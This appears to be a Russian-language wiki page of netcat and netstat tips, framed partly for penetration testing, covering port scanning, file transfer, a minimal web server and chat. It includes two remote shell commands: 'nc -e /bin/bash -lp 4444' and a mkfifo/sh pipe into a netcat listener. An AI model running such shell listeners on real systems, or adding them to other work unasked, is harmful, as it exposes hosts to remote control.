nc


[ Пред. ] [ Содержание ] [ След. ]

nc


Created Пятница 09 Февраль 2018

Netcat


утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной. С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
Сканировать порты;
Перенаправлять порты;
Производить сбор баннеров сервисов;
Слушать порт (биндить для обратного соединения);
Скачивать и закачивать файлы;
Выводить содержимое raw HTTP;
Создать мини-чат.
Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Полезные трюки при работе с netcat


https://habr.com/company/pentestit/blog/336596/
Проверка наличия открытого TCP-порта 12345
$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused
$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH
Сканирование TCP-портов
$ nc -vnz 192.168.137.10 20-24
При таком сканировании не будет соединение с портом, а только вывод успешного соединения:
nc: connectx to 192.168.137.10 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.137.10 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.137.10 port 50168
dst 192.168.137.10 port 22
rank info not available
TCP aux info available
Connection to 192.168.137.10 port 22 [tcp/*] succeeded!
nc: connectx to 192.168.137.10 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.137.10 port 24 (tcp) failed: Connection refused
Сканирование UDP-портов.
Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:
$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 [udp/*] succeeded!
Отправка UDP-пакета
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Это может быть полезно при взаимодействии с сетевыми устройствами.
Прием данных на UDP-порту и вывод принятых данных
$ nc -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:
$ while true; do nc -u localhost 7777; done
Передача файлов.
nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt
Netcat в роли простейшего веб-сервера.
$ while true; do nc -lp 8888 < index.html; done
C помощью браузера по адресу: http://%D1%85%D0%BE%D1%81%D1%82 netcat:8888/index.html.
Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:
$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами
На первом узле (192.168.137.10):
$ nc -lp 9000
На втором узле:
$ nc 192.168.137.10 9000
После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл
С помощью netcat можно организовать удобный реверс-шелл:
nc -e /bin/bash -lp 4444
Теперь можно соединиться с удаленного узла:
$ nc 192.168.1.100 4444

Примеры использования netstat, ss, netcat
http://proft.me/2011/08/9/primery-ispolzovaniya-netstat-ss-netcat/
Все команды netstat, ss, netcat относится к сетевым утилитам и доступны по-умолчанию в большинстве linux-дистрибутивах.
netstat
Команда netstat умеет показывать сетевые соединения (входящие/исходящие), таблицу маршрутизации, статистику по сетевым интерфейсам и т.д.
Список всех открытых портов (TCP)
netstat -at
Список всех открытых портов (UDP)
netstat -au
Список только прослушиваемых портов (TCP)
netstat -lt
Статистика по всем открытым портам
netstat -s
Подробное отображение списка с открытыми портами - добавлен PID и имя процессов
netstat -p
Объединим все ключи в полезную команду для просмотра открытых TCP/UDP портов с именами процессов (может понадобиться root-доступ)
netstat -ltupn
Список подключенных хостов
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u

netcat
Утилита netcat позволяет передавать/принимать данные через TCP/UDP соединения.
Шаблон вызова утилиты
nc host port
Откроем прием (ключ -l) данных на порте 1234 с подробным выводом информации (ключ -v) и продолжением работы после разрыва соединения (ключ -k), по-умолчанию nc разрывает соединение после первого дисконекта.
nc -lvk 1234
Подключаемся к открытому порту и отправим import antigravity ;)
nc 127.0.0.1 1234
import antigravity
Пример более полезного использования nc - передача файла. На принимающей стороне
nc -l 1234 > file
На отправляющей стороне
nc localhost 1234 < file
Или можно отдавать файл любому подключившемуся. На передающей стороне
nc -l 1234 < file
На принимающей стороне
nc localhost 1234 > file
Пример открытия shell'а на определенном порте (источник). На стороне, где нужно открыть шел
mkfifo /tmp/pipe;
sh /tmp/pipe | nc -l 1234 > /tmp/pipe
запуск процесса, с возможностью отслеживания его работы через сеть
watch w | nc localhost 1234
nc -d <secondary ip address> 30005 | nc 127.0.0.1 30004 &













Содержание